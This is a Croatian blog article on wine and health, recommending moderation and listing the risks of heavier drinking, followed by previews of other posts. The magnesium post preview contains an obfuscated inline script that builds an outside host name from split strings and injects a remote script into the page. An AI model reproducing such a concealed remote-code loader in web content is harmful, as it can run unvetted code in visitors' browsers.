VINO I ZDRAVLJE - KOLIKO JE PREPORUČENO I KADA PRESTAJE BITI KORISNO? 🍷




Vino i zdravlje - koliko je preporučeno i kada prestaje biti korisno?




Vino je stoljećima dio kulture, druženja i gastronomije, osobito na Mediteranu. Netflixov dokumentarac Blue zones istražuje fenomen dugovječnosti, a u epizodi o Sardiniji, crveno vino spomenulo se nekoliko puta. Ondašnji stanovnici rekli bi da svoje zdravlje i vitalnost duguju upravo tome. No pitanje koje se sve češće postavlja jest: "Koliko je vina zapravo korisno za zdravlje, a kada ta korist prestaje?" Istina jest da vino može imati određene pozitivne učinke, ali samo u vrlo umjerenim količinama. Sve iznad toga brzo prelazi granicu iza koje potencijalna korist nestaje.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


Umjerenost je ključ

Najčešće spominjana preporuka odnosi se na jednu čašu vina (oko 150 ml) dnevno za žene i do dvije čaše za muškarce. U takvoj količini, osobito kada je riječ o crnom vinu, tijelo može dobiti određene antioksidanse poput resveratrola.

Oni su povezani s povoljnim djelovanjem na krvne žile i mogu imati blagi zaštitni učinak na kardiovaskularni sustav. Važno je naglasiti da se ove preporuke odnose na osobe koje već konzumiraju alkohol. Zdravstvene institucije ne savjetuju da netko počne piti vino isključivo zbog mogućih zdravstvenih koristi.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


Kada vino prestaje biti korisno?

Granica između umjerene i rizične konzumacije često je tanja nego što mislimo. Već dvije do tri čaše vina dnevno dugoročno mogu povećati rizik od povišenog krvnog tlaka, bolesti jetre i određenih vrsta raka.

Također, alkohol utječe na kvalitetu sna, razinu šećera u krvi i metabolizam. Ono što kratkoročno djeluje opuštajuće, može dugoročno stvarati dodatno opterećenje za organizam. Drugim riječima, vino vrlo brzo prestaje biti potencijalno korisno čim postane svakodnevna navika u većim količinama.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


Vino kao dio ravnoteže, ne rješenje

Najzdraviji pristup vinu zapravo je vrlo jednostavan. Valja ga promatrati kao povremeni užitak i dodatak kvalitetnom obroku. Nikako ne kao alat za očuvanje zdravlja.

Zdravlje se, prije svega, gradi kroz prehranu, kretanje, kvalitetan san i razinu stresa. Čaša vina uz obrok u tom kontekstu može biti dio ugodnog trenutka, ali nikada temelj zdravog načina života. Tko se drži ove mjere i definicije, ne mora brinuti.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


Vino i zdravlje



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više